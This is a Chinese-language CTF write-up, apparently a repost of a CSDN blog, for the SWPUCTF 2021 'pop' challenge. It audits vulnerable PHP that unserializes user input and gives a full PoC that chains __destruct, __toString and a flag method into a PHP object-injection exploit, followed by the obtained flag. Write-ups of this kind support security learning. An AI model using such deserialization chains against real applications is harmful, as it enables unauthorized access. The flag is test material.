首页 > 其他分享 >[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

时间:2024-10-15 19:47:10浏览次数:3  
标签:__ w00m SWPUCTF passwd w22m pop echo 2021 public

先进行代码审计:

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';    //!!!有private时,一定要进行url编码,否则有可能会出错

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){   
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}


//这段代码的意思就是,当admin的值w44m和passwd的值为08067时,输出flag
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

//w22m类中,定义了一个变量w00m,和__destruct魔术方法,这个魔术方法在w22m销毁时调用,输出w00m的值

class w33m{
    public $w00m;
    public $w22m;         //这里定义了两个变量w00m和w22m
    public function __toString(){    //__toString()是一个魔术方法,用于将对象转换成字符串形式。
        $this->w00m->{$this->w22m}();    //调用w33m中w00m属性的w22m方法
        return 0;
    }
}

$w00m = $_GET['w00m'];    //用get方式传入w00m
unserialize($w00m);       //将w00m反序列化
  

我们要构造pop链,也就是反着来。

poc:

<?php
class w44m{
	private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m{
    public $w00m;
}
class w33m{
    public $w00m;
    public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

运行结果:

最后将得到的结果传入

得到flag:NSSCTF{4bf68f1d-d723-4b87-b276-c879abf826ef}

参考链接:[SWPUCTF 2021 新生赛]pop-CSDN博客

标签:__,w00m,SWPUCTF,passwd,w22m,pop,echo,2021,public
From: https://blog.csdn.net/2301_80871705/article/details/142885317

相关文章

  • CTF杂项——[安徽省赛 2021]misc签到
    kali分离出一个压缩包 需要密码010打开flag.png文件头是FFD8FFE0  说明是jpeg文件  但题目给的文件后缀是.png  把后缀修改成.jpg查看属性  找到密码  this_is_password得到flag......
  • [PA2021] Od deski do deski 题解
    T1[PA2021]Oddeskidodeski发现合法的字符串一定是类似\(\texttt{aa...aabb...bbcc...cc}\)的形式,也就是若干个\(\texttta\)、若干个\(\textttb\) 和若干个\(\textttc\) 等组成的形式。如果当前选好的串\(S_1\)是合法的,且有另一个合法的串\(S_2\),那么显然\(S_1......
  • [SWPUCTF 2023 秋季新生赛]Shellcode WriteUp
    题目地址:https://www.nssctf.cn/problem/4546主要思路:利用Pwntools发送字节码调用执行execve("/bin/sh",NULL,NULL)实现要点:一定要添加context.binary='./shellcode'解释:pwntools的一个设置,用来指定目标二进制文件,以便于获取它的相关信息,如系统架构,操作系统类型等细节ex......
  • [PA2021] Od deski do deski 题解
    好题好题,难者不会会者不难,我是前者。实际上加入就可以合法的数是很好计算的。考虑现在所有前缀合法串后的字符实际上都可以满足条件。容易想到根据是否合法设置状态。设\(f_{i,j}/g_{i,j}\)表示现在填第\(i\)个数,有\(j\)个填了就合法的数,现在的串合法/不合法。那么有转......
  • 题解:AT_joi2021ho_b 雪玉 (Snowball)
    ProblemLink[JOI2021Final]雪玉题目描述翻译很简洁,不作赘述。Solution对于相邻的两个雪球\(a_i\)和\(a_{i+1}\),两者夹着的区间中的雪要么是被\(a_i\)或\(a_{i+1}\)卷起,要么不可能被清理掉。那么思路非常简单了,对于每个区间,只有\(2\)种情况:区间左侧雪球的最......
  • 2021年华为杯数学建模竞赛D题论文和代码
     抗乳腺癌候选药物的优化建模乳腺癌是女性癌症高发性恶性肿瘤,近年来发病率和死亡率逐年上升,严重危害了女性健康。如何使用数学模型辅助专家高效研发抗乳腺癌药物具有重要意义。本文通过构建化合物的定量结构-活性关系(QSAR)模型来筛选潜在活性化合物,使其不仅具有较好的生物......
  • 2021年华为杯数学建模竞赛E题论文和代码
     草原放牧策略研究本文研究了多因素影响下的草原生态环境演化与放牧策略的关系,通过机理分析分别构建了放牧策略对土壤湿度、植被生物量、土壤化学性质影响模型,以此为基础得到了未来土壤湿度和土壤化学物质含量的预测值,并通过分析得到能够实现可持续发展的最优放牧策略和不......
  • 图像文本对比模型实践——CLIP——2021
    图像文本对比模型实践——CLIP——20211.论文启发点详细内容(文+图)clip原理的极简版:用图像编码器把图像编码成向量a;用文本编码器把文本编码成向量b;计算a·b,如果a和b来自一对儿配对的图和文字,则让a·b向1靠近;如果a和b来自不配对儿的图和文字,则让a·b向......
  • 2021年华为杯数学建模竞赛C题论文和代码
    基于神经元Hodgkin-Huxley模型的脑深部电刺激治疗帕金森病的建模研究帕金森病作为一种全球常见的精神退行性疾病,日趋成为中老年人正常生活的一大威胁。目前缓解帕金森病症状的治疗方法主要有三种:药物治疗、手术治疗和脑深度刺激。脑深度刺激作为一种副作用小、安全性高的新方......
  • 2021年华为杯数学建模竞赛D题论文和代码
    抗乳腺癌候选药物的优化建模在研发治疗乳腺癌药物的过程中,能拮抗ERα活性的化合物是治疗乳腺癌的重要候选药物,同时也要考虑到化合物在人体内具备良好的药代动力学性质和安全性(ADMET性质),如果吸收性能、代谢速度、毒副作用等性质不佳,依然很难成为药物。本文对给定的1974个化......